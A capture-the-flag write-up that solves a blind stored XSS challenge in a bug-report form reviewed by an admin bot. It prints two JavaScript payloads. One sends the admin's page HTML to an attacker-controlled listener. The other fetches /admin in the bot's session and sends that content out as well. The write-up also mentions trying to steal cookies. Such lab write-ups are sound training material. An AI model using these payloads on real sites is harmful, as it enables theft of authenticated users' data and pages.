Overview
Stored (blind) XSS via a bug-report form. The first payload exfiltrates the admin ticket-view page source, revealing the /admin route. The second payload fetches /admin in the bot’s authenticated context and exfiltrates its content, yielding the flag.
Recon
The site presents a single public-facing form: submit a bug report. A notice says the team reviews reports “within minutes.” There is no visible output from the submission, but since it’s being reviewed constantly, this is a prime target for blind XSS.
Solution
You need a host reachable from the challenge server to receive HTTP callbacks. I personally tend to use webhook.site for simple CTF challenges, but any way you want to do it would work.
Step 1: Map the admin’s view
Submit a ticket containing:
<script>
fetch('https://LHOST:LPORT/', {method: 'POST', body: document.documentElement.innerHTML})
</script>
You might also try getting the admin’s cookie, but attempts to do that will fail since the cookie has the httponly attribute.
Within 30 seconds your listener receives the full HTML of the page the admin bot is viewing (the ticket review page). The response body contains the admin nav bar, which includes links to /tickets, /admin, and /logout — none of which are visible in the public layout.
Step 2: Fetch the flag
The first thing to do would be to try accessing /admin ourselves, but when we try, we get a 403 return code.
Instead, we can just make the admin get it for us!
Submit a second ticket:
<script>
fetch('/admin')
.then(r => r.text())
.then(d => fetch('http://LHOST:LPORT/', {method: 'POST', body: d}))
</script>
The bot visits this ticket with its admin session cookie intact. The same-origin fetch('/admin') succeeds because the admin session cookie is automatically sent. The /admin page HTML is forwarded to your listener, and contains the flag.
Flag
MetaCTF{bl1nd_xss_4dm1n_b0t_ftw}